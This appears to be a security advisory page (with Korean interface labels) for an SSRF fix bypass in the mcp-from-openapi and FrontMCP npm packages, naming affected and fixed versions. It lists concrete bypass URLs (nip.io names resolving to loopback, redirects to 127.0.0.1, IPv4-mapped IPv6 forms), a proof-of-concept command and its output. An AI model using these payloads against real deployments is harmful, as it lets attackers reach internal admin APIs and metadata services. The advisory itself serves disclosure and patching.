높음취약점
FrontMCP and mcp-from-openapi have bypass of OpenAPI external $ref SSRF fix
GHSA-65h7-9wrw-629c · CVE-2026-59973 · 갱신 2026. 9. 12.
영향 받는 패키지
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| npm | mcp-from-openapi | 2.5.0 |
| npm | @frontmcp/adapters | 1.5.0 |
| npm | frontmcp | 1.5.0 |
GHSA-65h7-9wrw-629c · CVE-2026-59973 · 갱신 2026. 9. 12.
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| npm | mcp-from-openapi | 2.5.0 |
| npm | @frontmcp/adapters | 1.5.0 |
| npm | frontmcp | 1.5.0 |
OpenAPIToolGeneratormcp-from-openapiloadOpenAPISpec() calls OpenAPIToolGenerator.fromURL(this.options.url, ...) and forwards loadOptions.refResolution.OpenAPIToolGenerator.fromJSON(this.options.spec, ...) and forwards loadOptions.refResolution.In mcp-from-openapi 2.3.0, the patched guard is applied before the HTTP resolver fetches an external $ref. It checks the parsed URL hostname string against deny patterns for direct local and private addresses. The resolver does not resolve hostnames before allow or deny decisions, does not pin the validated IP to the fetch, and does not revalidate redirect targets before following them. It also misses IPv4-mapped IPv6 loopback forms.
As a result, these URLs are accepted by the guard but cause a loopback request from the backend:
http://127.0.0.1.nip.io:<port>/schema.json, because the hostname string is not a direct IP even though it resolves to 127.0.0.1.http://127.0.0.1.nip.io:<port>/redirect, because the first host passes and the actual request follows a redirect to http://127.0.0.1:<port>/schema.json.http://[::ffff:127.0.0.1]:<port>/schema.json and http://[::ffff:7f00:1]:<port>/schema.json, because IPv4-mapped IPv6 loopback is not normalized and denied.OpenAPIToolGenerator.fromURL() is also still unguarded for the initial OpenAPI spec URL. The PoC includes that as supporting evidence, but the primary report is the external $ref fix bypass.
The attached local PoC starts a loopback canary and loads generated OpenAPI specs using mcp-from-openapi 2.3.0. The request body schema contains a single external $ref for each test case. The canary records every backend-origin request.
Run:
cd /home/unkn0wn/security_audit/frontmcp-ssrf-poc
node repro-frontmcp-latest-ssrf-bypasses.mjs
Important output from a fresh run on 2026-05-25:
{"name":"direct-127-denied-control","kind":"external_ref","refUrl":"http://127.0.0.1:45117/schema.json","ok":false,"hitCount":0,"hits":[]}
{"name":"dns-name-to-127-bypass","kind":"external_ref","refUrl":"http://127.0.0.1.nip.io:45117/schema.json","ok":true,"hitCount":1,"hits":[{"url":"/schema.json","host":"127.0.0.1.nip.io:45117","authorization":null}]}
{"name":"dns-name-to-127-bypass-with-allowedHosts","kind":"external_ref","refUrl":"http://127.0.0.1.nip.io:45117/schema.json","ok":true,"hitCount":1,"hits":[{"url":"/schema.json","host":"127.0.0.1.nip.io:45117","authorization":null}]}
{"name":"redirect-to-127-after-allowed-host","kind":"external_ref","refUrl":"http://127.0.0.1.nip.io:45117/redirect","ok":true,"hitCount":2,"hits":[{"url":"/redirect","host":"127.0.0.1.nip.io:45117","authorization":null},{"url":"/schema.json","host":"127.0.0.1:45117","authorization":null}]}
{"name":"ipv4-mapped-ipv6-dotted-bypass","kind":"external_ref","refUrl":"http://[::ffff:127.0.0.1]:45117/schema.json","ok":true,"hitCount":1,"hits":[{"url":"/schema.json","host":"[::ffff:7f00:1]:45117","authorization":null}]}
{"name":"ipv4-mapped-ipv6-hex-bypass","kind":"external_ref","refUrl":"http://[::ffff:7f00:1]:45117/schema.json","ok":true,"hitCount":1,"hits":[{"url":"/schema.json","host":"[::ffff:7f00:1]:45117","authorization":null}]}
{"name":"external-refs-disabled-control","kind":"external_ref","refUrl":"http://127.0.0.1.nip.io:45117/schema.json","ok":true,"hitCount":0,"hits":[]}
Controls:
$ref is denied and the canary records zero requests.file:// resolution was denied in this runtime.refResolution.allowedProtocols: [] prevents the external request, but this is not the default.The previous advisory documented SSRF during untrusted OpenAPI $ref dereferencing. The latest patched version still lets an attacker trigger backend-origin requests to loopback or private network services through equivalent URL forms. In hosted or multi-user FrontMCP deployments where users can import or configure OpenAPI specs, this can expose internal admin APIs, metadata-like services, and other network endpoints that external users cannot reach directly.
The impact depends on whether a deployment treats OpenAPI adapter configuration as trusted administrator-only input. If untrusted authenticated users can import specs, this is a high-impact SSRF fix bypass. If only a local administrator can configure OpenAPI specs, the practical severity is lower.
$ref URLs.$ref dereferencing.fromURL() initial spec loads.